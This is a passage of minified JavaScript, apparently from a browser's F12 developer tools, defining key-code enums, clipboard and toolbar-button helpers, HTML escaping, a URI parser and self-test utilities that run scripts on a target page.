t{}t.C="c";t.DEL="Del";t.DOWN="ArrowDown";t.END="End";t.ENTER="Enter";t.F10="F10";t.HOME="Home";t.LEFT="ArrowLeft";t.RIGHT="ArrowRight";t.SPACEBAR="Spacebar";t.UP="ArrowUp";e.Keys=t;let i;!function(e){e[e.Backspace=8]="Backspace";e[e.Tab=9]="Tab";e[e.Enter=13]="Enter";e[e.Shift=16]="Shift";e[e.Control=17]="Control";e[e.Alt=18]="Alt";e[e.CapsLock=20]="CapsLock";e[e.Escape=27]="Escape";e[e.Space=32]="Space";e[e.PageUp=33]="PageUp";e[e.PageDown=34]="PageDown";e[e.End=35]="End";e[e.Home=36]="Home";e[e.ArrowLeft=37]="ArrowLeft";e[e.ArrowFirst=37]="ArrowFirst";e[e.ArrowUp=38]="ArrowUp";e[e.ArrowRight=39]="ArrowRight";e[e.ArrowDown=40]="ArrowDown";e[e.ArrowLast=40]="ArrowLast";e[e.Insert=45]="Insert";e[e.Delete=46]="Delete";e[e.Number0=48]="Number0";e[e.Number1=49]="Number1";e[e.Number9=57]="Number9";e[e.A=65]="A";e[e.B=66]="B";e[e.C=67]="C";e[e.D=68]="D";e[e.E=69]="E";e[e.F=70]="F";e[e.G=71]="G";e[e.H=72]="H";e[e.I=73]="I";e[e.J=74]="J";e[e.K=75]="K";e[e.L=76]="L";e[e.M=77]="M";e[e.N=78]="N";e[e.O=79]="O";e[e.P=80]="P";e[e.Q=81]="Q";e[e.R=82]="R";e[e.S=83]="S";e[e.T=84]="T";e[e.U=85]="U";e[e.V=86]="V";e[e.W=87]="W";e[e.X=88]="X";e[e.Y=89]="Y";e[e.Z=90]="Z";e[e.ContextMenu=93]="ContextMenu";e[e.Multiply=106]="Multiply";e[e.Plus=107]="Plus";e[e.Minus=109]="Minus";e[e.F1=112]="F1";e[e.F2=113]="F2";e[e.F3=114]="F3";e[e.F4=115]="F4";e[e.F5=116]="F5";e[e.F6=117]="F6";e[e.F7=118]="F7";e[e.F8=119]="F8";e[e.F9=120]="F9";e[e.F10=121]="F10";e[e.F11=122]="F11";e[e.F12=123]="F12";e[e.Equals=187]="Equals";e[e.Comma=188]="Comma";e[e.Hyphen=189]="Hyphen";e[e.Period=190]="Period";e[e.Grave=192]="Grave";e[e.SquareBracketOpen=219]="SquareBracketOpen";e[e.SquareBracketClose=221]="SquareBracketClose"}(i=e.KeyCodes||(e.KeyCodes={}));function s(){document.addEventListener("keydown",e=>r(e));document.addEventListener("contextmenu",e=>{e.preventDefault();e.stopPropagation();return!1});window.addEventListener("mousewheel",e=>{if(e.ctrlKey){e.preventDefault();e.stopPropagation();return!1}})}e.blockBrowserAccelerators=s;function n(e){return e.shiftKey||e.ctrlKey||e.altKey}e.HasAnyOfAltCtrlShiftKeyFlags=n;function o(e){return e.ctrlKey&&!e.shiftKey&&!e.altKey}e.HasOnlyCtrlKeyFlags=o;function r(t){if(t.keyCode===e.KeyCodes.F5||t.keyCode===e.KeyCodes.F10&&t.shiftKey||t.keyCode===e.KeyCodes.F&&t.ctrlKey&&!t.altKey){t.preventDefault();t.stopPropagation();return!1}return!0}e.preventIEKeys=r}(Common||(Common={}));!function(e){"use strict";let t;!function(e){function t(e){null!==e&&void 0!==e||(e="");F12.Host.ExternalApis.utilities.setClipboardText(e)}e.copyPlainText=t;function i(e){return!!e.getClipboardTextAsync}function s(){const e=F12.Host.ExternalApis.utilities;return i(e)?e.getClipboardTextAsync():Promise.resolve(e.getClipboardText())}e.getPasteTextAsync=s}(t=e.ClipboardHelper||(e.ClipboardHelper={}))}(Common||(Common={}));!function(e){"use strict";class t{static changeButtonStatus(e,i,s){var n=t.isEnabled(e);if(i&&!n){e.classList.remove("toolbarButtonStateDisabled");e.setAttribute("aria-disabled","false")}else if(!i&&n){e.classList.add("toolbarButtonStateDisabled");e.setAttribute("aria-disabled","true")}if("boolean"==typeof s){t.IsChangingAriaPressed=!0;if(s){e.setAttribute("aria-pressed","true");e.classList.add("toolbarButtonStateActive")}else{e.setAttribute("aria-pressed","false");e.classList.remove("toolbarButtonStateActive")}t.IsChangingAriaPressed=!1}}static isEnabled(e){return!e.classList.contains("toolbarButtonStateDisabled")}static isValidEvent(i){return("click"===i.type||i.keyCode===e.KeyCodes.Enter||i.keyCode===e.KeyCodes.Space)&&t.isEnabled(i.currentTarget)}static setButtonTooltip(e,t,i=!0){var s=i?Microsoft.Plugin.Resources.getString(t):t;e.setAttribute("data-plugin-vs-tooltip",s);e.setAttribute("aria-label",s)}static setupButton(e,i,s,n=!0,o=!0){if("string"==typeof i){t.setButtonTooltip(e,i,o);e.setAttribute("role","button")}if(s){e.addEventListener("click",e=>t.onButtonPress(e,s));e.addEventListener("keydown",e=>t.onButtonPress(e,s));e.addEventListener("DOMAttrModified",i=>{!t.IsChangingAriaPressed&&t.isEnabled(e)&&"aria-pressed"===i.attrName&&i.attrChange===i.MODIFICATION&&s(i)})}e.addEventListener("mousedown",t.onButtonMouseDown);e.addEventListener("mouseenter",t.onButtonMouseEnter);e.addEventListener("mouseleave",t.onButtonMouseLeave);e.addEventListener("mouseup",t.onButtonMouseUp);n||t.changeButtonStatus(e,!1)}static onButtonMouseDown(e){var i=e.currentTarget;t.isEnabled(i)?i.classList.add("toolbarButtonMouseDown"):e.stopImmediatePropagation()}static onButtonMouseEnter(e){var i=e.currentTarget;if(t.isEnabled(i))i.classList.add("toolbarButtonMouseHover");else{e.preventDefault();e.stopImmediatePropagation()}}static onButtonMouseLeave(e){var t=e.currentTarget;t.classList.remove("toolbarButtonMouseHover");t.classList.remove("toolbarButtonMouseDown")}static onButtonMouseUp(e){e.currentTarget.classList.remove("toolbarButtonMouseDown")}static onButtonPress(e,i){if(t.isValidEvent(e)){i(e);e.preventDefault();e.stopImmediatePropagation()}}}e.ButtonHelpers=t}(Common||(Common={}));!function(e){"use strict";class t{static addClasses(e,t){for(var i=e?e.split(" "):[],s=t?t.split(" "):[],n=0;n<s.length;n++)-1===i.indexOf(s[n])&&i.push(s[n]);return i.join(" ")}static removeClasses(e,t){for(var i=e?e.split(" "):[],s=t?t.split(" "):[],n=[],o=0;o<i.length;o++)-1===s.indexOf(i[o])&&n.push(i[o]);return n.join(" ")}}e.CssUtilities=t}(Common||(Common={}));!function(e){"use strict";class t{static escapeRegExp(e){return String.prototype.replace.call(e,t.ESCAPE_USER_INPUT_REGEX,"\\$&")}static escapeRegExpWithWildCard(e){return String.prototype.replace.call(e,t.ESCAPE_USER_INPUT_REGEX,function(e){return"*"===e?".*":"\\"+e})}static wrapInQuotes(e){return'"'+String.prototype.replace.call(e,/\\"/g,'"')+'"'}static unescapeHtml(e){if("string"!=typeof e){if(null===e||void 0===e)return"";e=""+e}return String.prototype.replace.call(String.prototype.replace.call(String.prototype.replace.call(String.prototype.replace.call(String.prototype.replace.call(e,/&gt;/g,">"),/&lt;/g,"<"),/&apos;/g,"'"),/&quot;/g,'"'),/&amp;/g,"&")}static escapeHtmlAndPreserveWhitespace(t){var i=[t],s=(t=String.prototype.replace.call(t,/(\r\n|\n\r|\r|\n)/g,"\r\n")).split("\r\n");if(s.length>0){i=[];for(var n=0;n<s.length;n++){var o=s[n];o="<pre>"+(o=e.EncodingUtilities.escapeHtml(o))+"</pre>";i.push(o)}}return i}static escapeHtml(e){if("string"!=typeof e){if(null===e||void 0===e)return"";e=""+e}return String.prototype.replace.call(String.prototype.replace.call(String.prototype.replace.call(String.prototype.replace.call(String.prototype.replace.call(e,/&/g,"&amp;"),/"/g,"&quot;"),/'/g,"&apos;"),/</g,"&lt;"),/>/g,"&gt;")}static replaceSpacesWithNonBreakingSpaceEntities(e){return String.prototype.replace.call(e,/ /g," ")}static replaceLineBreaksWithNonBreakingSpaceEntities(e){return String.prototype.replace.call(e,/[\r\n]/g," ")}}t.ESCAPE_USER_INPUT_REGEX=/([.+?^=!:${}()|\[\]\/\\])|(\*)/g;e.EncodingUtilities=t}(Common||(Common={}));!function(e){!function(e){let t,i;!function(e){e[e.Ready=0]="Ready";e[e.Running=1]="Running";e[e.Passed=2]="Passed";e[e.Failed=3]="Failed";e[e.Timedout=4]="Timedout"}(t=e.TestStatus||(e.TestStatus={}));!function(e){e[e.Crashed=0]="Crashed";e[e.TestRelaunch=1]="TestRelaunch";e[e.TestComplete=2]="TestComplete"}(i=e.F12ShutdownStatus||(e.F12ShutdownStatus={}))}(e.SelfTest||(e.SelfTest={}))}(Common||(Common={}));!function(e){"use strict";let t;!function(t){class i{static waitForCondition(e,t=i.POLLING_TIMEOUT,s=i.POLLING_INTERVAL,n=""){F12.Tools.Utility.Assert.hasValue(e,"Condition evaluator must have a value");F12.Tools.Utility.Assert.isTrue(t>s,"Timeout must be greater than polling interval");var o=Math.floor(t/s),r=0;return new Promise((t,i)=>{var a=window.setInterval(()=>{if(r>=o){Microsoft.Plugin.F12.SelfTest.logMessage("Polling action: "+n+" timed out");clearInterval(a);i(new Error("Timeout: "+n))}r++;var s=e();if(!("boolean"==typeof s&&!s)&&null!==s&&void 0!==s){clearInterval(a);t(s)}},s)})}static waitForConditionWithPromise(e,t,i,s){throw new Error("Not Implemented")}static tryWaitForCondition(e,t,i,s){throw new Error("Not Implemented")}static waitForEventOnAction(e,t,i,s,n){throw new Error("Not Implemented")}static tryWaitForEventOnAction(e,t,s,n,o){return i.tryWaitForEventOnActionWithCondition(e,()=>!0,t,s,n,o)}static tryWaitForEventOnActionWithCondition(e,t,s,n,o=i.POLLING_TIMEOUT,r){return i.eventWait(e,t,s,n,o,!1,r)}static waitForEventOnActionWithCondition(e,t,s,n,o,r){return i.eventWait(e,t,s,n,o,!0,r)}static waitForEventWithCondition(e,t,i,s,n){throw new Error("Not Implemented")}static tryWaitForEventWithCondition(e,t,i,s,n){throw new Error("Not Implemented")}static waitForEvent(e,t,i,s){throw new Error("Not Implemented")}static tryWaitForEvent(e,t,s,n){return i.tryWaitForEventOnAction(()=>{},e,t,s,n)}static eventWait(t,s,n,o,r=i.POLLING_TIMEOUT,a=!0,l){var h=null,d=e=>{if(s(e)){n.removeEventListener(o,d);h(e)}},c=new Promise((e,i)=>{h=e;n.addEventListener(o,d);t()}),u=e=>e,m=e=>{n.removeEventListener(o,d);if("Canceled"!==e.message)throw e;var h=i.getTimedOutMessage(t,s,r,null,l);a?F12.Tools.Utility.Assert.fail(h):Microsoft.Plugin.F12.SelfTest.logMessage(h)};let p=e.Promises.CancelablePromise.timeout(r);return Promise.race([p,c]).then(u,m)}static getTimedOutMessage(e,t,i,s,n){return n?s?"Timed out waiting for "+n+" after "+i+" ms with polling interval "+s+" ms":"Timed out waiting for "+n+" after "+i+" ms":s?"action: '"+e+"' took longer than timeout '"+i+"' with polling interval '"+s+"', checking with '"+t+"'":"action: '"+e+"' took longer than timeout '"+i+"', checking with '"+t+"'"}}i.POLLING_TIMEOUT=1e4;i.POLLING_INTERVAL=250;t.Synchronization=i}(t=e.SelfTestAction||(e.SelfTestAction={}))}(Common||(Common={}));!function(e){"use strict";class t{constructor(...e){if(e.length>=2&&e[0]instanceof t){var i,s=e[0];if(e[1]instanceof t)i=e[1];else{if(null===e[1]||void 0===e[1])throw new TypeError("Missing required argument: uri.");i=new t(String(e[1]),0)}t.mergeCore(s,i,this)}else{if(!(e.length>=1&&null!==e[0]&&void 0!==e[0]))throw new TypeError("Argument not optional.");var n=String(e[0]),o=1;if(e.length>=2){if("number"!=typeof e[1])throw new TypeError("Invalid argument: kind.");o=e[1]}t.parseCore(n,o,this)}}get isRooted(){return this.isAbsolute||/^\//.test(this.pathname)}get isAbsolute(){return(this._scheme!==t.UriSchemeFile||"string"!=typeof this._pathname||!/^[\\/]?\.{1,2}([\\/]|$)/.test(this._pathname))&&!!this._scheme}get isFile(){return this._scheme===t.UriSchemeFile}get isUnc(){return this.isFile&&!!(4&this._components)}get isDosPath(){return this.isFile&&!this._hostname&&/^\/?[a-z][:|]/i.test(this._pathname)}get hasDefaultPort(){if(this.isAbsolute){if("number"!=typeof this._port)return!0;if(this._scheme===t.UriSchemeHttp&&80===this._port)return!0;if(this._scheme===t.UriSchemeHttps&&443===this._port)return!0}return!1}get raw(){return this._raw}get origin(){return this.getComponentsCore(13,1)}get authority(){return this.getComponentsCore(516,1)}get protocol(){return this.getComponentsCore(1025,1)}get scheme(){return this.getComponentsCore(1,1)}get userinfo(){return this.getComponentsCore(2,1)}get host(){return this.getComponentsCore(516,1)}get hostname(){return this.getComponentsCore(4,1)}get pathname(){return this.getComponentsCore(112,1)}get pathnameAndSearch(){return this.getComponentsCore(240,1)}get search(){return this.getComponentsCore(1152,1)}get hash(){return this.getComponentsCore(1280,1)}get port(){return"number"==typeof this._port?this._port:this._scheme===t.UriSchemeHttp?t.DEFAULT_PORT_HTTP:this._scheme===t.UriSchemeHttps?t.DEFAULT_PORT_HTTPS:void 0}get absoluteUri(){return this.getComponentsCore(511,1)}get absolutePath(){var e=this.getComponentsCore(1136,1);this.isDosPath&&(e=e.substr(1));return e}get localPath(){if(this.isUnc||this.isDosPath){var e=this.getComponentsCore(1136,1);e=e.replace(t.PATH_DELIMITER,t.DOS_PATH_DELIMITER);if(this.isUnc)return t.UNC_ROOT+this.hostname+e;if(this.isDosPath)return e.substr(1)}return""}get segments(){var e=this.getComponentsCore(1136,1);return e.length>1?(e=e.substr(1)).split(t.PATH_DELIMITER):[]}static parse(e,i=1){return new t(e,i)}static tryParse(e,i=1){if(null===e||void 0===e)throw new TypeError("Missing required argument: text.");return t.parseCore(e,i,void 0)}static tryMerge(e,i){if(null===e||void 0===e)throw new TypeError("Missing required argument: baseUri.");if(null===i||void 0===i)throw new TypeError("Missing required argument: uri.");return t.mergeCore(e,i,void 0)}static create(i){i||(i={});var s,n,o,r,a,l,h,d=!1,c=0;"boolean"==typeof i.keepDelimiter&&(d=i.keepDelimiter);if("string"==typeof i.scheme){s=e.ToolWindowHelpers.tryDecodeURIComponent(i.scheme.toLowerCase());c|=1;s!==t.UriSchemeHttp&&s!==t.UriSchemeHttps||(c|=512)}if("string"==typeof i.userinfo){n=i.userinfo.toLowerCase();c|=2}if("string"==typeof i.hostname){o=i.hostname.toLowerCase();c|=4}if("number"==typeof i.port){if(i instanceof t){r=i._port}else{if(i.port<0)throw new RangeError("Invalid port.");r=i.port}"number"==typeof r&&(c|=520)}if(i.pathname){a=i.pathname;c|=112}if(i.search){l=i.search;!d&&l.length>0&&l.charAt(0)===t.SEARCH_DELIMITER&&(l=l.substr(1));c|=128}if(i.hash){h=i.hash;!d&&h.length>0&&h.charAt(0)===t.HASH_DELIMITER&&(h=h.substr(1));c|=256}var u=Object.create(t.prototype);u._scheme=s;u._userinfo=n;u._hostname=o;u._port=r;u._pathname=a;u._search=l;u._hash=h;u._components=c;u=new t(u.toString());if("string"==typeof i.uri){var m=new t(i.uri);u=new t(m,u)}return u}static equals(e,i,s=!1){if(e===i)return!0;if(null===e)return null===i;if(null===i)return!1;if(void 0===e)return void 0===i;if(void 0===i)return!1;var n,o;n="string"==typeof e?new t(e,0):e;o="string"==typeof i?new t(i,0):i;return!!t.stringEquals(n.toString(),o.toString(),s)||!!(n._scheme===o._scheme&&n._userinfo===o._userinfo&&n._hostname===o._hostname&&n.port===o.port&&t.stringEquals(n._pathname,o._pathname,s)&&t.stringEquals(n._search,o._search,s)&&t.stringEquals(n._hash,o._hash,s))}static compare(e,i,s=511,n=1,o=!1){if("number"!=typeof s)throw new TypeError("Invalid argument: partsToCompare.");if("number"!=typeof n)throw new TypeError("Invalid argument: compareFormat.");if(0!=(-4&n))throw new RangeError("Argument out of range: compareFormat.");return e===i?0:null===e||void 0===e?null===i||void 0===i?0:-1:null===i||void 0===i?1:e.isAbsolute&&i.isAbsolute?t.compareStrings(e.getComponentsCore(s,n),i.getComponentsCore(s,n),o):e.isAbsolute?1:i.isAbsolute?-1:t.compareStrings(e.raw,i.raw,o)}static getCurrent(){return"undefined"!=typeof self?new t(self.location.href):new t(".")}getComponents(e,i){if("number"!=typeof e||"number"!=typeof i)throw new TypeError("Invalid argument: components.");if("number"!=typeof i)throw new TypeError("Invalid argument: format.");if(0!=(-4&i))throw new RangeError("Argument out of range: format.");e=t.adjustComponents(e);return this.getComponentsCore(e,i)}toString(){this._toString||(this._toString=this.getComponentsCore(511,3));return this._toString}toJSON(){return this.toString()}isSameOrigin(e){if(null===e||void 0===e)throw new TypeError("Missing required argument: uri.");var i=e instanceof t?e:new t(String(e));return this.isAbsolute?this.getComponentsCore(13,1)===i.getComponentsCore(13,1):!i.isAbsolute}isBaseOf(e){if(null===e||void 0===e)throw new TypeError("Missing required argument: uri.");var i=this.getComponentsCore(255,3),s=this.getComponentsCore(255,3),n=i.split(t.PATH_DELIMITER),o=s.split(t.PATH_DELIMITER);if(n.length>o.length)return!1;for(var r=0;r<n.length;r++)if(!t.compareStrings(n[r],o[r],this.isDosPath||this.isUnc||e.isDosPath||e.isUnc))return!1;return!0}makeRelative(e){if(null===e||void 0===e)throw new TypeError("Missing required argument: uri.");if(!this.isAbsolute||!e.isAbsolute)throw new URIError("URI not absolute.");if(!this.isSameOrigin(e))return e;var i=e.absolutePath,s=t.computePathDifference(this.absolutePath,i,this.isDosPath||this.isUnc),n=/[:\\/?#]/.exec(s);!n||":"!==n[0]||e.isDosPath&&s===i||(s="./"+s);var o=s+e.getComponentsCore(384,1);return new t(o,2)}equals(e,i){return t.equals(this,e,i)}static stringEquals(e,t,i){if(i&&"string"==typeof e&&"string"==typeof t){e=e.toLowerCase();t=t.toLowerCase()}return e===t}static compareStrings(e,t,i){if(i&&"string"==typeof e&&"string"==typeof t){e=e.toLowerCase();t=t.toLowerCase()}return e>t?1:e<t?-1:0}static compareNumbers(e,t){return e<t?-1:e>t?1:0}static formatUserinfo(i,s){switch(s){case 1:i=t.escape(i,"?#","%");break;case 2:i=e.ToolWindowHelpers.tryDecodeURIComponent(i);break;case 3:i=t.unescape(i,"@/\\","safe")}return i}static formatPath(i,s){switch(s){case 1:i=t.escape(i,"?#","%");break;case 2:i=e.ToolWindowHelpers.tryDecodeURIComponent(i);break;case 3:i=t.unescape(i,"?#","safe")}return i}static formatSearch(e,i){switch(i){case 1:e=t.escape(e,"#","%");break;case 2:e=t.unescape(e,"#","all");break;case 3:e=t.unescape(e,"#","safe")}return e}static formatHash(e,i){switch(i){case 1:e=t.escape(e,"","%");break;case 2:e=t.unescape(e,"#","all");break;case 3:e=t.unescape(e,"#","safe")}return e}static escape(t,i,s){if(!t)return t;for(var n=[],o=0,r="",a=0;a<t.length;a++){var l=t.charAt(a);i.indexOf(l)>-1?r="forced":s.indexOf(l)>-1&&(r="reserved");if(""!==r){o<a&&n.push(e.ToolWindowHelpers.tryEncodeURI(t.substring(o,a)));o=a+1;if("forced"===r)n.push(e.ToolWindowHelpers.tryEncodeURIComponent(l));else if("reserved"===r)if("%"===l){if(a+3<=t.length){var h=t.substr(a,3);if(/^%[a-f\d]{2}$/i.test(h)){n.push(h);r="";a+=2;o+=2;continue}}n.push(e.ToolWindowHelpers.tryEncodeURIComponent("%"))}else n.push(l);r=""}}o<a&&n.push(e.ToolWindowHelpers.tryEncodeURI(t.substring(o,a)));return n.join("")}static unescape(t,i,s){if(!t)return t;var n,o=[],r=0,a=t=>{o.push(e.ToolWindowHelpers.tryEncodeURIComponent(t))},l=(e,t)=>{o.push(e);r=(n+=t)+1},h=()=>{r<n&&o.push(t.substring(r,n));r=n+1};for(n=0;n<t.length;n++){var d=t.charAt(n),c=1;if("%"===d){if(n+3<=t.length){var u=t.substr(n,3);d="";try{if(/^%[a-f\d]{2}$/i.test(u)){var m=parseInt("0x"+u.substr(1));if(m<128){c=2;d=decodeURIComponent(u)}else if(m<224&&n+6<=t.length){u=t.substr(n,6);if(/^(%[a-f\d]{2}){2}$/i.test(u)){c=5;d=decodeURIComponent(u)}}else if(m<240&&n+9<=t.length){u=t.substr(n,9);if(/^(%[a-f\d]{2}){3}$/i.test(u)){c=8;d=decodeURIComponent(u)}}else if(m<245&&n+12<=t.length){u=t.substr(n,12);if(/^(%[a-f\d]{2}){4}$/i.test(u)){c=11;d=decodeURIComponent(u)}}}}catch(e){h();l(u,c)}if("all"===s){if(1!==d.length)continue;h();l(d,c)}else{if(1!==d.length)continue;if("%"===d||i.indexOf(d)>-1)n+=2;else if(/^[;/?:@&=+$#%\\\x00-\x17]$/.test(d))n+=2;else{h();l(d,c)}}}}else{if("all"===s)continue;if(i.indexOf(d)>-1){h();a(d)}}}h();return o.join("")}static parseCore(e,i,s,n){var o,r,a,l,h,d,c,u,m,p=0,_=e;d=e=e.trim();if(2!==i){t.DosPath.test(e)&&(e="file:///"+e);var g=t.UriParser.exec(e);if(g){o=g[t.SCHEME_INDEX];r=g[t.USERINFO_INDEX];a=g[t.HOSTNAME_INDEX];l=g[t.PORT_INDEX];d=g[t.PATHNAME_INDEX];c=!!g[t.SCHEMESEGMENT_INDEX];u=g[t.SEARCH_INDEX];m=g[t.HASH_INDEX];i=1}else{if(1===i){if(s)throw new URIError;return}i=2}if(!o&&c){if(s)throw new URIError;return}(o||a)&&d&&(d=d.replace(/\\/g,t.PATH_DELIMITER));if(o&&o.toLowerCase()===t.UriSchemeFile)if(/^\.{1,2}$/.test(a)&&/^([\\/]|$)/.test(d)||/^[a-z]$/i.test(a)&&/^:[\\/]/.test(d)){d=a+d;a=void 0}else if(!a)if(/^[\\/]\.{1,2}/.test(d))d=d.substr(1);else if(/^[\\/]{2,}/.test(d)){var f=(d=d.replace(/^[\\/]{2,}/,"")).indexOf(t.PATH_DELIMITER);if(f>-1){a=d.substr(0,f);d=d.substr(f)}else{a=d;d=""}}}if("string"==typeof o){o=o.toLowerCase();p|=1;o!==t.UriSchemeHttp&&o!==t.UriSchemeHttps||(p|=512)}"string"==typeof r&&(p|=2);if("string"==typeof a){a=a.toLowerCase();p|=4}if("string"==typeof l){h=parseInt(l);p|=520}"string"==typeof d&&2!==i&&(d=t.normalizePath(d));d&&(p|=112);"string"==typeof u&&(p|=128);"string"==typeof m&&(p|=256);s||(s=Object.create(t.prototype));s._scheme=o;s._userinfo=r;s._hostname=a;s._port=h;s._pathname=t.escape(d,"","%");s._search=u;s._hash=m;s._raw=_;s._components=p;return s}static mergeCore(e,i,s,n){if(!s&&i.isAbsolute)return i;var o,r,a,l,h,d,c,u=0;if(i._scheme){o=i._scheme;r=i._userinfo;a=i._hostname;l=i._port;h=t.normalizePath(i._pathname);d=i._search}else{if(i._hostname){r=i._userinfo;a=i._hostname;l=i._port;h=t.normalizePath(i._pathname);d=i._search}else{if(i._pathname){if(i._pathname.charAt(0)===t.PATH_DELIMITER)h=t.normalizePath(i._pathname);else{h=t.mergePath(e._pathname,i._pathname);h=t.normalizePath(h)}d=i._search}else{h=e._pathname;d=i._search?i._search:e._search}r=e._userinfo;a=e._hostname;l=e._port}o=e._scheme}c=i._hash;if("string"==typeof o){u|=1;o!==t.UriSchemeHttp&&o!==t.UriSchemeHttps||(u|=512)}"string"==typeof r&&(u|=2);"string"==typeof a&&(u|=4);"number"==typeof l&&(u|=520);h&&(u|=112);"string"==typeof d&&(u|=128);"string"==typeof c&&(u|=256);s||(s=Object.create(t.prototype));s._scheme=o;s._userinfo=r;s._hostname=a;s._port=l;s._pathname=h;s._search=d;s._hash=c;s._components=u;s._raw=s.toString();return s}static mergePath(e,i){var s=-1;e&&(s=e.lastIndexOf(t.PATH_DELIMITER));return s>=0?e.substr(0,s+1)+i:i}static normalizePath(e){var i=(e=(e=e.replace(/^\s+|\s+$/g,"")).replace(/\\+|\/+/g,t.PATH_DELIMITER)).split(/\//g),s=""===i[0];s&&i.shift();for(var n=0;n<i.length;){switch(i[n]){case t.CURRENT_DIRECTORY_TOKEN:if(0!==n||s){i.splice(n,1);n===i.length&&i.push("");continue}break;case t.PARENT_DIRECTORY_TOKEN:if(0===n&&s){i.splice(n,1);continue}if(n>=1&&i[n-1]!==t.CURRENT_DIRECTORY_TOKEN&&i[n-1]!==t.PARENT_DIRECTORY_TOKEN){i.splice(--n,2);n===i.length&&i.push("");continue}}n++}s&&i.unshift("");return e=i.join(t.PATH_DELIMITER)}static computePathDifference(e,i,s){var n,o=-1;for(n=0;n<e.length&&n<i.length&&0===t.compareStrings(e.charAt(n),i.charAt(n),s);n++)e.charAt(n)===t.PATH_DELIMITER&&(o=n);if(0===n)return i;if(n===e.length&&n===i.length)return"";for(var r=[];n<e.length;n++)e.charAt(n)===t.PATH_DELIMITER&&r.push(t.PARENT_DIRECTORY_TOKEN,t.PATH_DELIMITER);return 0===r.length&&i.length-1===o?t.CURRENT_DIRECTORY_TOKEN+t.PATH_DELIMITER:r.join("")+i.substr(o+1)}static adjustComponents(e){512&e&&(e|=8);2&e&&2!=(-1025&e)&&(e|=4);8&e&&8!=(-1537&e)&&(e|=4);13&e&&(256&e?e|=240:128&e?e|=112:64&e?e|=48:32&e&&(e|=16));80==(112&e)&&(e|=32);return e}getComponentsCore(e,i){var s=[],n=!1,o=e&this._components;if(1&o){s.push(this._scheme);n=this._scheme===t.UriSchemeFile;1!==e&&s.push(t.PROTOCOL_DELIMITER)}(1025&e&&526&o||n)&&s.push(t.SCHEME_DELIMITER);if(526&o){if(2&o){s.push(t.formatUserinfo(this._userinfo,i));2!==e&&s.push(t.USERINFO_DELIMITER)}4&o&&s.push(this._hostname);if(520&o){s.push(t.PORT_DELIMITER);s.push(this.port.toString())}}112&e&&s.push(this.getCanonicalPath(e,i));if(128&o){128!==e&&s.push(t.SEARCH_DELIMITER);s.push(t.formatSearch(this._search,i))}if(256&o){256!==e&&s.push(t.HASH_DELIMITER);s.push(t.formatHash(this._hash,i))}return s.join("")}getCanonicalPath(e,i){var s=this._pathname,n=!1;1024&e?n=!0:this.isAbsolute&&(this.isFile?n=!0:116==(116&this._components)&&(n=!0));if(!(112&this._components)||0===s.length)return 16&e&&n?t.PATH_DELIMITER:"";if(16&e){var o=s.charAt(0)!==t.PATH_DELIMITER;n&&o&&(s=t.PATH_DELIMITER+s)}var r=112&e;if(112===r)return t.formatPath(s,i);var a,l=s.lastIndexOf(t.PATH_DELIMITER);if(16&r){var h;l===s.length-1?h=t.formatPath(s,i):l>-1&&(h=t.formatPath(s.substr(0,l+1),i));if(16===r)return h;a||(a=[]);a.push(h)}var d=96&r;if(d&&l<s.length-1){var c;c=l>-1?s.substr(l+1):s;if(96===d){c=t.formatPath(c,i);if(96===r)return c;a||(a=[]);a.push(c)}else{var u,m=c.lastIndexOf(t.EXTENSION_DELIMITER);if(32!==d){return 0===m?t.formatPath(c,i):m>0?t.formatPath(c.substr(m),i):""}u=-1===m?t.formatPath(c,i):m>0?t.formatPath(c.substr(0,m),i):"";if(32===r)return u;a||(a=[]);a.push(u)}}return a?a.join(""):""}}t.UriParser=/^(?:([a-z][a-z0-9+.\-]*)[:|])?(?:[\\/]{2}(?:((?:[\w\-._~!$&'()*+,;=:]|%[a-f0-9]{2})*)@)?(\[[^\[\]]+\]|[\w\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF\.\-_]*)(?:\:(\d+))?|(?![\\/]{2}))(([^/\\?#]*:)?[^?#]*?)(?:\?([^#]*?))?(?:#(.*?))?$/i;t.DosPath=/^([a-z]\:|[\\/]{2,}[^\\/@:?#]+)[\\/]/i;t.SCHEME_INDEX=1;t.USERINFO_INDEX=2;t.HOSTNAME_INDEX=3;t.PORT_INDEX=4;t.PATHNAME_INDEX=5;t.SCHEMESEGMENT_INDEX=6;t.SEARCH_INDEX=7;t.HASH_INDEX=8;t.SCHEME_DELIMITER="//";t.PATH_DELIMITER="/";t.DOS_PATH_DELIMITER="\\";t.UNC_ROOT="\\\\";t.USERINFO_DELIMITER="@";t.SEARCH_DELIMITER="?";t.HASH_DELIMITER="#";t.CURRENT_DIRECTORY_TOKEN=".";t.PARENT_DIRECTORY_TOKEN="..";t.PROTOCOL_DELIMITER=":";t.PORT_DELIMITER=":";t.EXTENSION_DELIMITER=".";t.DEFAULT_PORT_HTTP=80;t.DEFAULT_PORT_HTTPS=443;t.SchemeDelimiter="://";t.UriSchemeHttp="http";t.UriSchemeHttps="https";t.UriSchemeFile="file";t.UriSchemeData="data";e.Uri=t}(Common||(Common={}));!function(e){"use strict";let t;!function(t){t.TEST_EXTENSION_NAME="F12testextension";t.TEST_EXTENSION_URL="ms-browser-extension://F12testextension";const i=4e3,s=3,n="__$";var o;function r(e,t){e.metadata=t}t.setTestMetadata=r;function a(...e){function t(t){return function(){var i=arguments;return Promise.resolve().then(()=>{var s=e[t],n=s.toString().replace(/^function.*\{ return |; \}$/g,"");Microsoft.Plugin.F12.SelfTest.logMessage("Executing Step "+(t+1)+": "+n);return s.apply(null,i)})}}for(var i=Promise.resolve(null),s=0;s<e.length;s++)i=i.then(t(s));return i}t.joinSerial=a;function l(e){for(const t in e){const i=e[t];for(const e in i)if("_"!==e[0]){const s=t+"."+e;Microsoft.Plugin.F12.Communications.getRpcClient().register(n+s,async(...t)=>i[e](...t))}}}t.publishModules=l;function h(e,t,i){var s=i?JSON.stringify(i).slice(1,-1):"";Microsoft.Plugin.F12.SelfTest.logMessage("Calling "+t+"("+s+") on "+e);return Microsoft.Plugin.F12.Communications.getRpcClient().call(e,n+t,i)}t.callMethodOn=h;function d(e){try{return h("ms:debugger","Contract.executeOnTargetPage",["("+e.toString()+")();"])}catch(e){return Promise.resolve(null)}}t.runOnTargetPage=d;function c(e,t=!1){return h("ms:debugger","Contract.executeOnTargetPage",t?[e,!0]:[e])}t.executeOnTargetPage=c;function u(e){Microsoft.Plugin.F12.SelfTest.logMessage("Setup testPlayground: "+e.replace(/ +/g," "));return d("function () { document.getElementById('testPlayground').innerHTML = \""+e+'";}')}t.setupTestPage=u;function m(){return d(()=>{var 